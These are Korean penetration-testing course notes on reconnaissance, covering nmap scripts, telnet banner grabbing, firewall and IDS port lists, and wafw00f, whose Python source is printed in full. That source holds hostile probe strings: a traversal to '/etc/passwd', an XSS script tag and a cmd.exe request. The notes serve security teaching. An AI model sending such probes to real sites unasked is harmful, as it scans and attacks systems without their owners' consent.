20160620 정보수집단계
++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
apt-get update ; apt-get upgrade -y ; apt-get dist-upgrade -y ; apt-get clean ; apt-get autoclean ; apt-get auto-remove -y
++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
[참고] nmap & NSE(엔맵 스크립트 엔진)
nmap CMD 기본 기능(Host sweep, port scan) + NSE
(KaliLinux)
# zenmap &
Profile > New Profile or Command > Scripting 탭
● NSE는 Kali Linux에 기본 내장 되어 있고 nmap의 최신 버전으로 업데이트가 되면 자동으로 같이 업데이트가 된다.
# apt-get update
# apt-get upgrade nmap
# /usr/share/nmap
# ls
nmap-mac-prefixes nmap-protocols nmap-services nse_main.lua
nmap-os-db nmap-rpc nmap.dtd nselib/
nmap-payloads nmap-service-probes nmap.xsl scripts/
# cd scripts
# ls
acarsd-info.nse
address-info.nse
afp-brute.nse
afp-ls.nse
afp-path-vuln.nse
afp-serverinfo.nse
afp-showmount.nse
ajp-auth.nse
ajp-brute.nse
ajp-headers.nse
ajp-methods.nse
ajp-request.nse
allseeingeye-info.nse
amqp-info.nse
asn-query.nse
auth-owners.nse
auth-spoof.nse
backorifice-brute.nse
backorifice-info.nse
banner.nse
bitcoin-getaddr.nse
bitcoin-info.nse
..... (중략) .....
# vi banner.nse ([TERM2] # zenmap &)
local comm = require "comm"
local nmap = require "nmap"
local stdnse = require "stdnse"
local table = require "table"
description = [[
A simple banner grabber which connects to an open TCP port and prints out anything sent by the listening service within five seconds.
The banner will be truncated to fit into a single line, but an extra line may be printed for every
increase in the level of verbosity requested on the command line.
]]
---
-- @output
-- 21/tcp open ftp
-- |_ banner: 220 FTP version 1.0\x0D\x0A
-- @arg banner.ports Which ports to grab. Same syntax as -p option. Use
-- "common" to only grab common text-protocol banners.
-- Default: all ports.
-- @arg banner.timeout How long to wait for a banner. Default: 5s
..... (중략) .....
5. 운영체제 스캐닝
● 배너 그래빙(Banner Grabbing)
● telnet 명령어를 사용하여 원격지의 시스템에 로그인을 시도하면 나타나는 안내문
● 운영체제 버전과 커널 버전을 확인
● 배너 그래빙은 21, 23, 25, 110, 143 포트에서도 가능
(linux200)
# telnet localhost 23
Trying 127.0.0.1...
Connected to localhost.localdomain (127.0.0.1).
Escape character is '^]'.
linux200.example.com (Linux release 2.6.18-348.el5 #1 SMP Tue Jan 8 17:57:28 EST 2013) (3)
login:
<CTRL + ]>
telnet> quit
# telnet localhost 21
Trying 127.0.0.1...
Connected to localhost.localdomain (127.0.0.1).
Escape character is '^]'.
220 (vsFTPd 2.0.5)
quit
# telnet localhost 25
rying 127.0.0.1...
Connected to localhost.localdomain (127.0.0.1).
Escape character is '^]'.
220 mail.example.com ESMTP Sendmail 8.13.8/8.13.8; Tue, 15 Jul 2014 09:28:06 +0900
quit
# lynx -head http://localhost (# telnet localhost 80)
HTTP/1.1 200 OK
Date: Wed, 16 Jul 2014 07:02:33 GMT
Server: Apache/2.2.3 (CentOS)
Last-Modified: Mon, 14 Jul 2014 10:40:47 GMT
ETag: "62237b-43-ec8109c0"
Accept-Ranges: bytes
Content-Length: 67
Connection: close
Content-Type: text/html; charset=UTF-8
Q
[참고] netcat(nc) CMD
-> netcat CMD 사용법 정리
[참고] banner 메세지를 모을 수 있는 툴을 만들어 보자.
(KaliLinux) --- banner grabbing --> (linux200)
# ./banner.sh 192.168.20.200
# vi banner.sh
-----------------------------
banner_telnet.sh
banner_ftp.sh
banner_smtp.sh
banner_http.sh
-----------------------------
# ./banner.sh 192.168.20.200
-----------------------------
====== TELNET ====
linux200.example.com (Linux release 2.6.18-348.el5 #1 SMP Tue Jan 8 17:57:28 EST 2013) (2)
====== FTP ======
220 (vsFTPd 2.0.5)
====== SMTP =======
220 mail.example.com ESMTP Sendmail 8.13.8/8.13.8; Tue, 15 Jul 2014 09:28:06 +0900
====== WEB ========
Server: Apache/2.2.3 (CentOS)
------------------------------
6. 포트 스캔을 통한 보안 장비 설치 여부 확인
방화벽(침입 차단 시스템)
● Checkpoint(Firewall-1) : 256,257,258
● 어울림(Secureworks) : 3346,2890
● CISCO PIX : 530,540
● Astaro : 1235,1236
IDS(침입탐지 시스템)
● Checkpoint(VPN Swite) : 300,301
● 인젠(NeoWatcher) : 1887
● Snort : 2350
[실습] IDS/IPS/WAF 탐지 여부 확인
웹클라언트 ----------> 방화벽 --> IPS/IDS(침입차단시스템) --> WAF(웹방화벽) --> 웹서버
(웹브라우저)
■ Waffit : 웹 방화벽 방어 여부 확인
Waffit를 실행하면 Wafw00f라는 도구가 실행된다. WafW00f는 파이썬 스크립트로 웹서버가 웹 애플리케이션 방화벽(WAF, Web Application Firewall)으로 보호 받고 있는지를 탐지하는 도구이다.
(KaliLinux)
# which wafw00f /* 0: 숫자 0 */
/usr/bin/wafw00f
# file /usr/bin/wafw00f
/usr/bin/wafw00f: Python script, ASCII text executable
# wafw00f www.example.com
^ ^
_ __ _ ____ _ __ _ _ ____
///7/ /.' \ / __////7/ /,' \ ,' \ / __/
| V V // o // _/ | V V // 0 // 0 // _/
|_n_,'/_n_//_/ |_n_,' \_,' \_,'/_/
<
...'
WAFW00F - Web Application Firewall Detection Tool
By Sandro Gauci && Wendel G. Henrique
Checking http://www.example.com
Generic Detection results:
The site http://www.example.com seems to be behind a WAF
Reason: The server header is different when an attack is detected.
The server header for a normal response is "ECS (rhv/818F)", while the server header a response to an attack is "ECS (rhv/81A8).",
Number of requests: 12
(주의) 임의의 사이트에 대해 수행하지 않는다. 웹서버쪽에는 지속적인 기록이 남겨진다.
# wafw00f www.soldesk.com
^ ^
_ __ _ ____ _ __ _ _ ____
///7/ /.' \ / __////7/ /,' \ ,' \ / __/
| V V // o // _/ | V V // 0 // 0 // _/
|_n_,'/_n_//_/ |_n_,' \_,' \_,'/_/
<
...'
WAFW00F - Web Application Firewall Detection Tool
By Sandro Gauci && Wendel G. Henrique
Checking http://www.soldesk.com
Generic Detection results:
No WAF detected by the generic detection
Number of requests: 13
[실습] wireshark를 통해 wafw00f 명령어 수행에 대한 동작을 분석한다.
[실습] visualroute를 통해 방화벽/웹방화벽이 존재하는지 확인한다.
- www.naver.com
- www.daum.net
- www.example.com
- www.soldesk.com
# which wafw00f
/usr/bin/wafw00f
# file /usr/bin/wafw00f
-> python script
# vi /usr/bin/wafw00f
#!/usr/bin/env python
# wafw00f - Web Application Firewall Detection Tool
# by Sandro Gauci - enablesecurity.com (c) 2009
# and Wendel G. Henrique - Trustwave 2009
__license__ = """
Copyright (c) 2009, {Sandro Gauci|Wendel G. Henrique}
All rights reserved.
Redistribution and use in source and binary forms, with or without modification,
are permitted provided that the following conditions are met:
* Redistributions of source code must retain the above copyright notice,
this list of conditions and the following disclaimer.
* Redistributions in binary form must reproduce the above copyright notice,
this list of conditions and the following disclaimer in the documentation
and/or other materials provided with the distribution.
* Neither the name of EnableSecurity or Trustwave nor the names of its contributors
may be used to endorse or promote products derived from this software
without specific prior written permission.
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND
ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT,
INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING,
BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF
LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE
OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED
OF THE POSSIBILITY OF SUCH DAMAGE.
"""
import os
import httplib
from urllib import quote, unquote
import urllib2
from optparse import OptionParser
import logging
import socket
import sys
sys.path.append("/usr/share/waffit/")
import random
currentDir = os.getcwd()
scriptDir = os.path.dirname(sys.argv[0]) or '.'
os.chdir( scriptDir )
from libs.evillib import *
__version__ = '0.9.0'
lackofart = """
^ ^
_ __ _ ____ _ __ _ _ ____
///7/ /.' \ / __////7/ /,' \ ,' \ / __/
| V V // o // _/ | V V // 0 // 0 // _/
|_n_,'/_n_//_/ |_n_,' \_,' \_,'/_/
<
...'
WAFW00F - Web Application Firewall Detection Tool
By Sandro Gauci && Wendel G. Henrique
"""
class WafW00F(waftoolsengine):
"""
WAF detection tool
"""
AdminFolder = '/Admin_Files/'
xssstring = '<script>alert(1)</script>'
dirtravstring = '../../../../etc/passwd'
cleanhtmlstring = '<invalid>hello'
isaservermatch = 'Forbidden ( The server denied the specified Uniform Resource Locator (URL). Contact the server administrator. )'
def __init__(self,target='www.microsoft.com',port=80,ssl=False,
debuglevel=0,path='/',followredirect=True):
"""
target: the hostname or ip of the target server
port: defaults to 80
ssl: defaults to false
"""
waftoolsengine.__init__(self,target,port,ssl,debuglevel,path,followredirect)
self.log = logging.getLogger('wafw00f')
self.knowledge = dict(generic=dict(found=False,reason=''),wafname=list())
def normalrequest(self,usecache=True,cacheresponse=True,headers=None):
return self.request(usecache=usecache,cacheresponse=cacheresponse,headers=headers)
def normalnonexistentfile(self,usecache=True,cacheresponse=True):
path = self.path + str(random.randrange(1000,9999)) + '.html'
return self.request(path=path,usecache=usecache,cacheresponse=cacheresponse)
def unknownmethod(self,usecache=True,cacheresponse=True):
return self.request(method='OHYEA',usecache=usecache,cacheresponse=cacheresponse)
def directorytraversal(self,usecache=True,cacheresponse=True):
return self.request(path=self.path+self.dirtravstring,usecache=usecache,cacheresponse=cacheresponse)
def invalidhost(self,usecache=True,cacheresponse=True):
randomnumber = random.randrange(100000,999999)
return self.request(headers={'Host':str(randomnumber)})
def cleanhtmlencoded(self,usecache=True,cacheresponse=True):
string = self.path + quote(self.cleanhtmlstring) + '.html'
return self.request(path=string,usecache=usecache,cacheresponse=cacheresponse)
def cleanhtml(self,usecache=True,cacheresponse=True):
string = self.path + self.cleanhtmlstring + '.html'
return self.request(path=string,usecache=usecache,cacheresponse=cacheresponse)
def xssstandard(self,usecache=True,cacheresponse=True):
xssstringa = self.path + self.xssstring + '.html'
return self.request(path=xssstringa,usecache=usecache,cacheresponse=cacheresponse)
def protectedfolder(self,usecache=True,cacheresponse=True):
pfstring = self.path + self.AdminFolder
return self.request(path=pfstring,usecache=usecache,cacheresponse=cacheresponse)
def xssstandardencoded(self,usecache=True,cacheresponse=True):
xssstringa = self.path + quote(self.xssstring) + '.html'
return self.request(path=xssstringa,usecache=usecache,cacheresponse=cacheresponse)
def cmddotexe(self,usecache=True,cacheresponse=True):
# thanks j0e
string = self.path + 'cmd.exe'
return self.request(path=string,usecache=usecache,cacheresponse=cacheresponse)
attacks = [cmddotexe,directorytraversal,xssstandard,protectedfolder,xssstandardencoded]
def genericdetect(self,usecache=True,cacheresponse=True):
reason = ''
reasons = ['Blocking is being done at connection/packet level.',
'The server header is different when an attack is detected.',
'The server returned a different response code when a string trigged the blacklist.',
'It closed the connection for a normal request.',
'The connection header was scrambled.'
]
# test if response for a path containing html tags with known evil strings
# gives a different response from another containing invalid html tags
r = self.cleanhtml()
if r is None:
self.knowledge['generic']['reason'] = reasons[0]
self.knowledge['generic']['found'] = True
return True
cleanresponse,_tmp =r
r = self.xssstandard()
if r is None:
self.knowledge['generic']['reason'] = reasons[0]
self.knowledge['generic']['found'] = True
return True
xssresponse,_tmp = r
if xssresponse.status != cleanresponse.status:
self.log.info('Server returned a different response when a script tag was tried')
reason = reasons[2]
reason += '\r\n'
reason += 'Normal response code is "%s",' % cleanresponse.status
reason += ' while the response code to an attack is "%s"' % xssresponse.status
self.knowledge['generic']['reason'] = reason
self.knowledge['generic']['found'] = True
return True
r = self.cleanhtmlencoded()
cleanresponse,_tmp = r
r = self.xssstandardencoded()
if r is None:
self.knowledge['generic']['reason'] = reasons[0]
self.knowledge['generic']['found'] = True
return True
xssresponse,_tmp = r
if xssresponse.status != cleanresponse.status:
self.log.info('Server returned a different response when a script tag was tried')
reason = reasons[2]
reason += '\r\n'
reason += 'Normal response code is "%s",' % cleanresponse.status
reason += ' while the response code to an attack is "%s"' % xssresponse.status
self.knowledge['generic']['reason'] = reason
self.knowledge['generic']['found'] = True
return True
response, responsebody = self.normalrequest()
normalserver = response.getheader('Server')
for attack in self.attacks:
r = attack(self)
if r is None:
self.knowledge['generic']['reason'] = reasons[0]
self.knowledge['generic']['found'] = True
return True
response, responsebody = r
attackresponse_server = response.getheader('Server')
if attackresponse_server:
if attackresponse_server != normalserver:
self.log.info('Server header changed, WAF possibly detected')
self.log.debug('attack response: %s' % attackresponse_server)
self.log.debug('normal response: %s' % normalserver)
reason = reasons[1]
reason += '\r\nThe server header for a normal response is "%s",' % normalserver
reason += ' while the server header a response to an attack is "%s.",' % attackresponse_server
self.knowledge['generic']['reason'] = reason
self.knowledge['generic']['found'] = True
return True
for attack in self.wafdetectionsprio:
if self.wafdetections[attack](self) is None:
self.knowledge['generic']['reason'] = reasons[0]
self.knowledge['generic']['found'] = True
return True
for attack in self.attacks:
r = attack(self)
if r is None:
self.knowledge['generic']['reason'] = reasons[0]
self.knowledge['generic']['found'] = True
return True
response, responsebody = r
for h,v in response.getheaders():
if scrambledheader(h):
self.knowledge['generic']['reason'] = reasons[4]
self.knowledge['generic']['found'] = True
return True
return False
def matchheader(self,headermatch,attack=False,ignorecase=True):
import re
detected = False
header,match = headermatch
if attack:
requests = self.attacks
else:
requests = [self.normalrequest]
for request in requests:
r = request(self)
if r is None:
return
response,responsebody = r
headerval = response.getheader(header)
if headerval:
# set-cookie can have multiple headers, python gives it to us
# concatinated with a comma
if header == 'set-cookie':
headervals = headerval.split(', ')
else:
headervals = [headerval]
for headerval in headervals:
if ignorecase:
if re.match(match,headerval,re.IGNORECASE):
detected = True
break
else:
if re.match(match,headerval):
detected = True
break
if detected:
break
return detected
def isbigip(self):
return self.matchheader(('X-Cnection','^close$'), attack=True)
def iswebknight(self):
detected = False
for attack in self.attacks:
r = attack(self)
if r is None:
return
response, responsebody = r
if response.status == 999:
detected = True
break
return detected
def ismodsecurity(self):
detected = False
for attack in self.attacks:
r = attack(self)
if r is None:
return
response, responsebody = r
if response.status == 501:
detected = True
break
return detected
def isisaserver(self):
detected = False
r = self.invalidhost()
if r is None:
return
response,responsebody = r
if response.reason == self.isaservermatch:
detected = True
return detected
def issecureiis(self):
# credit goes to W3AF
detected = False
headers = dict()
headers['Transfer-Encoding'] = 'z' * 1025
r = self.normalrequest(headers=headers)
if r is None:
return
response,responsebody = r
if response.status == 404:
detected = True
return detected
def matchcookie(self,match):
"""
a convenience function which calls matchheader
"""
return self.matchheader(('set-cookie',match))
def isairlock(self):
# credit goes to W3AF
return self.matchcookie('^AL[_-]?(SESS|LB)=')
def isbarracuda(self):
# credit goes to W3AF
return self.matchcookie('^barra_counter_session=')
def isdenyall(self):
# credit goes to W3AF
if self.matchcookie('^sessioncookie='):
return True
# credit goes to Sebastien Gioria
# Tested against a Rweb 3.8
# and modified by sandro gauci and someone else
for attack in self.attacks:
r = attack(self)
if r is None:
return
response, responsebody = r
if response.status == 200:
if response.reason == 'Condition Intercepted':
return True
return False
def isbeeware(self):
# disabled cause it was giving way too many false positives
# credit goes to Sebastien Gioria
detected = False
r = self.xssstandard()
if r is None:
return
response, responsebody = r
if (response.status != 200) or (response.reason == 'Forbidden'):
r = self.directorytraversal()
if r is None:
return
response, responsebody = r
if response.status == 403:
if response.reason == "Forbidden":
detected = True
return detected
def isf5asm(self):
# credit goes to W3AF
return self.matchcookie('^TS[a-zA-Z0-9]{3,6}=')
def isf5trafficshield(self):
for hv in [['cookie','^ASINFO='],['server','F5-TrafficShield']]:
r = self.matchheader(hv)
if r is None:
return
elif r:
return r
return False
def isteros(self):
# credit goes to W3AF
return self.matchcookie('^st8id=')
def isnetcontinuum(self):
# credit goes to W3AF
return self.matchcookie('^NCI__SessionId=')
def isbinarysec(self):
# credit goes to W3AF
return self.matchheader(('server','BinarySec'))
def ishyperguard(self):
# credit goes to W3AF
return self.matchcookie('^WODSESSION=')
def isprofense(self):
"""
Checks for server headers containing "profense"
"""
return self.matchheader(('server','profense'))
def isnetscaler(self):
"""
First checks if a cookie associated with Netscaler is present,
if not it will try to find if a "Cneonction" or "nnCoection" is returned
for any of the attacks sent
"""
# NSC_ and citrix_ns_id come from David S. Langlands <dsl 'at' surfstar.com>
if self.matchcookie('^(ns_af=|citrix_ns_id|NSC_)'):
return True
if self.matchheader(('Cneonction','close'),attack=True):
return True
if self.matchheader(('nnCoection','close'),attack=True):
return True
return False
def isurlscan(self):
detected = False
testheaders = dict()
testheaders['Translate'] = 'z'*10
testheaders['If'] = 'z'*10
testheaders['Lock-Token'] = 'z'*10
testheaders['Transfer-Encoding'] = 'z'*10
r = self.normalrequest()
if r is None:
return
response,_tmp = r
r = self.normalrequest(headers=testheaders)
if r is None:
return
response2,_tmp = r
if response.status != response2.status:
if response2.status == 404:
detected = True
return detected
def iswebscurity(self):
detected = False
r = self.normalrequest()
if r is None:
return
response,responsebody=r
if response.status == 403:
return detected
newpath = self.path + '?nx=@@'
r = self.request(path=newpath)
if r is None:
return
response,responsebody = r
if response.status == 403:
detected = True
return detected
def isdotdefender(self):
# thanks to j0e
return self.matchheader(['X-dotDefender-denied', '^1$'],attack=True)
def isimperva(self):
# thanks to Mathieu Dessus <mathieu.dessus(a)verizonbusiness.com> for this
# might lead to false positives so please report back to sandro@enablesecurity.com
for attack in self.attacks:
r = attack(self)
if r is None:
return
response, responsebody = r
if response.version == 10:
return True
return False
def ismodsecuritypositive(self):
import random
detected = False
self.normalrequest(usecache=False,cacheresponse=False)
randomfn = self.path + str(random.randrange(1000,9999)) + '.html'
r = self.request(path=randomfn)
if r is None:
return
response,responsebody = r
if response.status != 302:
return False
randomfnnull = randomfn+'%00'
r = self.request(path=randomfnnull)
if r is None:
return
response,responsebody = r
if response.status == 404:
detected = True
return detected
def isibmdatapower(self):
# Added by Mathieu Dessus <mathieu.dessus(a)verizonbusiness.com>
detected = False
if self.matchheader(('X-Backside-Transport', '^(OK|FAIL)')):
detected = True
return detected
def isibm(self):
detected = False
r = self.protectedfolder()
if r is None:
detected = True
return detected
wafdetections = dict()
# easy ones
wafdetections['IBM Web Application Security'] = isibm
wafdetections['IBM DataPower'] = isibmdatapower
wafdetections['Profense'] = isprofense
wafdetections['ModSecurity'] = ismodsecurity
wafdetections['ISA Server'] = isisaserver
wafdetections['NetContinuum'] = isnetcontinuum
wafdetections['HyperGuard'] = ishyperguard
wafdetections['Barracuda'] = isbarracuda
wafdetections['Airlock'] = isairlock
wafdetections['BinarySec'] = isbinarysec
wafdetections['F5 Trafficshield'] = isf5trafficshield
wafdetections['F5 ASM'] = isf5asm
wafdetections['Teros'] = isteros
wafdetections['DenyALL'] = isdenyall
wafdetections['BIG-IP'] = isbigip
wafdetections['Citrix NetScaler'] = isnetscaler
# lil bit more complex
wafdetections['webApp.secure'] = iswebscurity
wafdetections['WebKnight'] = iswebknight
wafdetections['URLScan'] = isurlscan
wafdetections['SecureIIS'] = issecureiis
wafdetections['dotDefender'] = isdotdefender
#wafdetections['BeeWare'] = isbeeware
# wafdetections['ModSecurity (positive model)'] = ismodsecuritypositive removed for now
wafdetections['Imperva'] = isimperva
wafdetectionsprio = ['Profense','NetContinuum',
'Barracuda','HyperGuard','BinarySec','Teros',
'F5 Trafficshield','F5 ASM','Airlock','Citrix NetScaler',
'ModSecurity', 'IBM Web Application Security', 'IBM DataPower', 'DenyALL',
'dotDefender','webApp.secure', # removed for now 'ModSecurity (positive model)',
'BIG-IP','URLScan','WebKnight',
'SecureIIS','Imperva','ISA Server']
def identwaf(self,findall=False):
detected = list()
for wafvendor in self.wafdetectionsprio:
self.log.info('Checking for %s' % wafvendor)
if self.wafdetections[wafvendor](self):
detected.append(wafvendor)
if not findall:
break
self.knowledge['wafname'] = detected
return detected
def calclogginglevel(verbosity):
default = 40 # errors are printed out
level = default - (verbosity*10)
if level < 0:
level = 0
return level
class wafwoof_api:
def __init__(self):
self.cache = dict()
def vendordetect(self,url,findall=False):
if self.cache.has_key(url):
wafw00f = self.cache[url]
else:
r = oururlparse(url)
if r is None:
return ['']
(hostname,port,path,query,ssl) = r
wafw00f = WafW00F(target=hostname,port=port,path=path,ssl=ssl)
self.cache[url] = wafw00f
return wafw00f.identwaf(findall=findall)
def genericdetect(self,url):
if self.cache.has_key(url):
wafw00f = self.cache[url]
else:
r = oururlparse(url)
if r is None:
return {}
(hostname,port,path,query,ssl) = r
wafw00f = WafW00F(target=hostname,port=port,path=path,ssl=ssl)
self.cache[url] = wafw00f
wafw00f.genericdetect()
return wafw00f.knowledge['generic']
def alltests(self,url,findall=False):
if self.cache.has_key(url):
wafw00f = self.cache[url]
else:
r = oururlparse(url)
if r is None:
return {}
(hostname,port,path,query,ssl) = r
wafw00f = WafW00F(target=hostname,port=port,path=path,ssl=ssl)
self.cache[url] = wafw00f
wafw00f.identwaf(findall=findall)
if (len(wafw00f.knowledge['wafname']) == 0) or (findall):
wafw00f.genericdetect()
return wafw00f.knowledge
def xmlrpc_interface(bindaddr=('localhost',8001)):
from SimpleXMLRPCServer import SimpleXMLRPCServer
from SimpleXMLRPCServer import SimpleXMLRPCRequestHandler
class RequestHandler(SimpleXMLRPCRequestHandler):
rpc_paths = ('/RPC2',)
server = SimpleXMLRPCServer(bindaddr,
requestHandler=RequestHandler)
server.register_introspection_functions()
server.register_instance(wafwoof_api())
try:
server.serve_forever()
except KeyboardInterrupt:
print "bye!"
return
def main():
print lackofart
parser = OptionParser(usage="""%prog url1 [url2 [url3 ... ]]\r\nexample: %prog http://www.victim.org/""")
parser.add_option('-v','--verbose',action='count', dest='verbose', default=0,
help="enable verbosity - multiple -v options increase verbosity")
parser.add_option('-a','--findall',action='store_true', dest='findall', default=False,
help="Find all WAFs, do not stop testing on the first one")
parser.add_option('-r','--disableredirect',action='store_false',dest='followredirect',
default=True, help='Do not follow redirections given by 3xx responses')
parser.add_option('-t','--test',dest='test',
help='Test for one specific WAF')
parser.add_option('-l','--list',dest='list', action='store_true',
default=False,help='List all WAFs that we are able to detect')
parser.add_option('--xmlrpc',dest='xmlrpc', action='store_true',
default=False,help='Switch on the XML-RPC interface instead of CUI')
parser.add_option('--xmlrpcport',dest='xmlrpcport', type='int',
default=8001,help='Specify an alternative port to listen on, default 8001')
parser.add_option('--version','-V',dest='version', action='store_true',
default=False,help='Print out the version')
options,args = parser.parse_args()
logging.basicConfig(level=calclogginglevel(options.verbose))
log = logging.getLogger()
if options.list:
print "Can test for these WAFs:\r\n"
attacker = WafW00F(None)
print '\r\n'.join(attacker.wafdetectionsprio)
return
if options.version:
print 'WAFW00F version %s' % __version__
return
elif options.xmlrpc:
print "Starting XML-RPC interface"
xmlrpc_interface(bindaddr=('localhost',options.xmlrpcport))
return
if len(args) == 0:
parser.error("we need a target site")
targets = args
for target in targets:
if not (target.startswith('http://') or target.startswith('https://')):
log.info('The url %s should start with http:// or https:// .. fixing (might make this unusable)' % target)
target = 'http://' + target
print "Checking %s" % target
pret = oururlparse(target)
if pret is None:
log.critical('The url %s is not well formed' % target)
sys.exit(1)
(hostname,port,path,query,ssl) = pret
log.info('starting wafw00f on %s' % target)
attacker = WafW00F(hostname,port=port,ssl=ssl,
debuglevel=options.verbose,path=path,
followredirect=options.followredirect)
if attacker.normalrequest() is None:
log.error('Site %s appears to be down' % target)
sys.exit(1)
if options.test:
if attacker.wafdetections.has_key(options.test):
waf = attacker.wafdetections[options.test](attacker)
if waf:
print "The site %s is behind a %s" % (target, options.test)
else:
print "WAF %s was not detected on %s" % (options.test,target)
else:
print "WAF %s was not found in our list\r\nUse the --list option to see what is available" % options.test
return
waf = attacker.identwaf(options.findall)
log.info('Ident WAF: %s' % waf)
if len(waf) > 0:
print 'The site %s is behind a %s' % (target, ' and/or '.join( waf))
if (options.findall) or len(waf) == 0:
print 'Generic Detection results:'
if attacker.genericdetect():
log.info('Generic Detection: %s' % attacker.knowledge['generic']['reason'])
print 'The site %s seems to be behind a WAF ' % target
print 'Reason: %s' % attacker.knowledge['generic']['reason']
else:
print 'No WAF detected by the generic detection'
print 'Number of requests: %s' % attacker.requestnumber
if __name__ == '__main__':
if sys.hexversion < 0x2040000:
sys.stderr.write('Your version of python is way too old .. please update to 2.4 or later\r\n')
main()
프로그램을 분석할때는 출력결과와 비교분석하면서 찾아야 한다
■ 정보 수집 과정의 종류
□ 검색 엔진을 사용하는 경우(EX: 구글링) □ 인터넷(정보보안사이트)을 통해 정보를 확인하는 방법(EX: exploit-db.com) □ 구글 검색을 통해 정보를 확인하는 방법(EX: 구글해킹)
□ DNS 서버를 사용하는 경우(EX: dnsenum CMD)
□ 사회공학적인 기법(Social Engineering)을 사용하는 경우(EX: SET)
□ 스캐너를 사용하는 방법 □ 일반 스캐너를 사용하는 방법(EX: nmap/zenmap)
7. 무료 취약점 스캐너 종류
자동으로 보안 감사를 할 수 있도록 하는 등의 기능을 하는 취약점 스캐너는 IT 보안에서 아주 중요하다. 네트워크와 웹사이트가 수만 가지의 보안 위험 중 하나 이상에 노출되었는지 스캔을 하고, 우선시 패치해야 할 대상을 알려준다. 또 취약점과 취약점을 바로잡는 방법에 관한 정보를 제공한다. 일부 스캐너의 경우 자동 패칭 기능을 제공하기도 한다.
비싼 취약점 스캐너와 보안 감사 툴도 있지만, 무료로 이용할 수 있는 제품과 서비스도 있다. 또 특정 취약점만 조사하는 제품이나 더 넓은 범위에서 IT 보안을 점검하는 제품들이 있다. 무료지만 유용하게 활용할 수 있는 취약점 스캐너 6종을 소개한다.
● 오픈VAS(OpenVAS)
● 레티나 CS 커뮤니티(Retina CS Community)
● MBSA(Microsoft Baseline Security Analyzer)
● 넥스포즈 커뮤니티 에디션(Nexpose Community Edition)
● 시큐어체크(SecureCheq)
● 퀄리스 프리스캔(QualysFreeScan)
오픈VAS(OpenVAS)
레티나 CS 커뮤니티(Retina CS Community)
MBSA(Microsoft Baseline Security Analyzer)
넥스포즈 커뮤니티 에디션(Nexpose Community Edition)
시큐어체크(SecureCheq)
퀄리스 프리스캔(QualysFreeScan)
■ 오픈VAS(OpenVAS)
오픈 VAS(Vulnerability Assessment System)는 GNU GPL(General Public License)로 라이선싱 받은 기술들로 대부분이 구성된 무료 네트워크 보안 스캐너 플랫폼이다. 몇몇 리눅스 패키지나 다운로드 가능한 테스트/평가용 버츄얼 어플라이언스(VA)로 주요 기술들이 구성돼 있다. 스캐너 자체는 윈도우용이 아니지만 윈도우용 클라이언트를 제공하기도 한다.
오픈VAS에서 가장 중요한 기술 요소는 리눅스에서만 실행시킬 수 있는 보안 스캐너다. NVT(Network Vulnerability Test)로부터 매일 업데이트되는 피드를 수신해 스캐닝하는데, 그 수가 3만 3,000개 이상이다.
오픈VAS 매니저(Manager)는 스캐너 제어와 정보 제공을 담당한다. 오픈VAS 관리자(Administrator)는 명령줄 형식의 인터페이스를 제공하며, 풀 서비스 데몬(Service Daemon)으로 사용자 관리 및 피드 관리 기능을 제공한다.
GUI나 CLI 기반 클라이언트들도 있다. GSA(Greenbone Security Assistant)는 웹 기반 GUI를 제공한다. GSD(Greenbone Security Desktop)는 리눅스와 윈도를 포함해 다양한 OS에서 실행되는 Qt 기반의 데스크탑 클라이언트다. 그리고 오픈VAS CLI는 명령줄 인터페이스를 갖고 있다.
오픈 VAS는 아주 쉽게, 그리고 빠르게 설치해 사용할 수 있는 스캐너는 아니다. 그러나 무료 스캐너 가운데 가장 기능이 풍부하고, 폭넓게 사용할 수 있는 IT 보안 스캐너다. 수만 가지의 취약점을 검사하고, 동시에 스캔 작업을 처리할 수 있으며, 스캔 일정을 수립할 수도 있다. 또 스캔 결과에 대한 긍정 오류 관리 및 노트 기능을 제공한다. 하지만 최소한 핵심 기술 요소로 리눅스를 사용하는 환경이어야 한다.
■ 레티나 CS 커뮤니티(Retina CS Community)
레티나 CS 커뮤니티는 마이크로소프트와 어도비, 파이어폭스 등 써드파티 애플리케이션을 대상으로 최도 256개 IP까지는 무료로 취약점을 검사하고, 패칭을 제공한다. 또 모바일 장치, 웹 애플리케이션, 가상화 애플리케이션, 서버, 프라이빗 클라우드의 취약점 검사를 지원한다. 이 밖에 취약점, 설정 관련 문제, 누락된 패치 등을 조사한다.
그리고 패칭 기능을 제공한다. 한편 레니타 네트워크 커뮤니티(Retina Network Community) 취약점 스캐닝 기능을 제공하는 소프트웨어인데, 레티나 CS 커뮤니티 소프트웨어에 앞서 별개로 설치해야 한다.
레티나 CS 커뮤니티는 윈도우 서버 2008 이후 버전에 설치가 가능하다. 단 설치에 앞서 .Net 프레임워크 3.5가 설치되어 있고, IIS가 활성화되어 있어야 하며, 마이크로소프트 SQL 2008 이후 버전이 설치되어 있어야 한다. 또 도메인 컨트롤러(Domain Controller)나 스몰 비즈니스 서버(Small Business Servers) 설치는 지원하지 않는다.
소프트웨어를 설치하고 나면, 레티나 네트워크 커뮤니티 컴포넌트용 GUI 프로그램과 레티나 CS 커뮤니티 컴포넌트용 웹 기반 GUI가 구현된다. 여러 사용자 프로파일을 지원하기 때문에, 업무에 맞춰 검사를 할 수 있다.
